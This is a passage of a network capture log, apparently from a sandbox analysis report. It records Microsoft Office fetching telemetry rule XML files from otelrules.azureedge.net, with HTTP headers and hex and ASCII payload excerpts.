2024-12-02 03:59:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49961	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 460b6522-701e-0097-5815-41b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035940Z-174f7845968kdththC1EWRzvxn0000000g4g00000000kq8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49962	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:41 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 70136b16-301e-001f-76a9-42aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035941Z-174f7845968ljs8phC1EWRe6en00000013t0000000007b4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49963	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:41 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:41 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 1318377f-c01e-0034-12b7-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035941Z-174f7845968px8v7hC1EWR08ng0000001450000000009hq5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49964	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: fc0d267c-101e-0079-0929-415913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035941Z-174f7845968nxc96hC1EWRspw800000013k000000000g60y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:42 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49965	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:42 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 44412a51-001e-000b-14c5-4315a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035942Z-174f7845968vqt9xhC1EWRgten00000013vg00000000h7tf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:42 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49966	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:42 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:42 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 5818dd1d-501e-0035-4638-40c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035942Z-174f7845968jrjrxhC1EWRmmrs0000001430000000004xm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:42 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49967	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:43 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:43 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:43 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 562f2249-001e-0028-5dab-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035943Z-174f7845968psccphC1EWRuz9s000000144000000000b8v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:59:43 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49968	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:43 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:43 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 21a32f9a-a01e-003d-21b4-4298d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035943Z-174f784596886s2bhC1EWR743w00000013x000000000c62c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:44 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49969	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:43 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:44 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 5e2e43e0-a01e-0002-3ba3-435074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035944Z-174f7845968nxc96hC1EWRspw800000013n000000000a7dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:44 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49970	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:44 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:44 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dbe9ef63-901e-005b-3a83-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035944Z-174f7845968zgtf6hC1EWRqd8s0000000wyg000000000xty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:44 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49971	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:44 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:59:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:59:45 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 56289a14-001e-0028-02a9-42c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035945Z-174f7845968nxc96hC1EWRspw800000013k000000000g64b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:59:45 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49972	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:59:45 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
